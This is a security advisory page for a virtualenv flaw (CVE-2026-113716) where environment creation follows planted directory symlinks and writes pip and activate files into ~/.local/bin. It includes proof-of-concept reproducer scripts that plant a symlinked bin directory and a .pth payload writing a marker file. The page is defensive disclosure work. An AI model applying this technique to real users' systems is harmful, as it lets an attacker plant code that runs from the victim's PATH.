GHSA-CW65-GX24-RC82
Vulnerability from github – Published: 2026-10-21 21:35 – Updated: 2026-10-21 21:35Summary
The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.
Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Directory preparation before environment files are created.
Attacker-controlled input
Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.
Affected code
The relevant 21.14.8 source is in builtin creator, ensure_dir().
Mechanism
The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.
Reproduction and evidence
The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote
python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later
pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.
The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.
Attack sequence
sequenceDiagram
participant A as Prepared destination
participant V as Builtin creator
participant L as venv/bin symlink
participant H as ~/.local/bin
participant U as User
A->>L: point to ../../.local/bin
V->>L: ensure_dir accepts existing directory link
V->>H: write python, pip and activate files through link
V-->>U: creation reports success
U->>H: run pip found on PATH
H->>A: interpreter loads planted .pth
A-->>U: marker created
Reproducer files
The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path
WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)
def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
local_bin = home / ".local/bin"
user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
local_bin_before = set(os.listdir(local_bin))
payload_marker = home / "PWNED"
# the attacker's checkout arrives at ~/project
subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
venv = home / "project/venv"
print(f"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
# default options; the flag only keeps the run off the network
subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
written = sorted(set(os.listdir(local_bin)) - local_bin_before)
payload_ran_at_creation = payload_marker.exists()
print(f"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}")
print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
# later, in another folder, the user runs pip
pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
return written, payload_marker.exists() and not payload_ran_at_creation
print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
home = WORK / "bin-link"
(home / ".local/bin").mkdir(parents=True)
written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
home = WORK / "bin-link-staying-inside"
(home / ".local/bin").mkdir(parents=True)
# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
(home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
print("---")
print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
repro.d/checkout_with_bin_link.py
import sys
from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
# one per minor version: the attacker does not know which Python the user has
for minor in range(9, 20):
site_packages = venv / f"lib/python3.{minor}/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
# relative to a checkout at ~/project
(venv / "bin").symlink_to("../../.local/bin")
repro.d/checkout_with_bin_link_staying_inside.py
import sys
from pathlib import Path
venv = Path(sys.argv[1]) / "venv"
site_packages = venv / "lib/py/site-packages"
site_packages.mkdir(parents=True)
(site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
for minor in range(9, 20):
(venv / f"lib/python3.{minor}").symlink_to("py")
# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
(venv / "1/2/3/4/5/6/7").mkdir(parents=True)
(site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
(venv / "1/.local/bin").mkdir(parents=True)
(venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
Impact
Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.
Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.
Fix: PR #3429.
Known mitigation
Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.14.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113716"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T21:35:56Z",
"nvd_published_at": "2026-10-20T20:17:17Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared destination\n participant V as Builtin creator\n participant L as venv/bin symlink\n participant H as ~/.local/bin\n participant U as User\n A-\u003e\u003eL: point to ../../.local/bin\n V-\u003e\u003eL: ensure_dir accepts existing directory link\n V-\u003e\u003eH: write python, pip and activate files through link\n V--\u003e\u003eU: creation reports success\n U-\u003e\u003eH: run pip found on PATH\n H-\u003e\u003eA: interpreter loads planted .pth\n A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n local_bin = home / \".local/bin\"\n user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n local_bin_before = set(os.listdir(local_bin))\n payload_marker = home / \"PWNED\"\n\n # the attacker\u0027s checkout arrives at ~/project\n subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n venv = home / \"project/venv\"\n print(f\"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n # default options; the flag only keeps the run off the network\n subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n payload_ran_at_creation = payload_marker.exists()\n print(f\"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n # later, in another folder, the user runs pip\n pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n site_packages.mkdir(parents=True)\n (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
"id": "GHSA-cw65-gx24-rc82",
"modified": "2026-10-21T21:35:56Z",
"published": "2026-10-21T21:35:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3429"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "virtualenv: Builtin creation follows linked environment directories"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.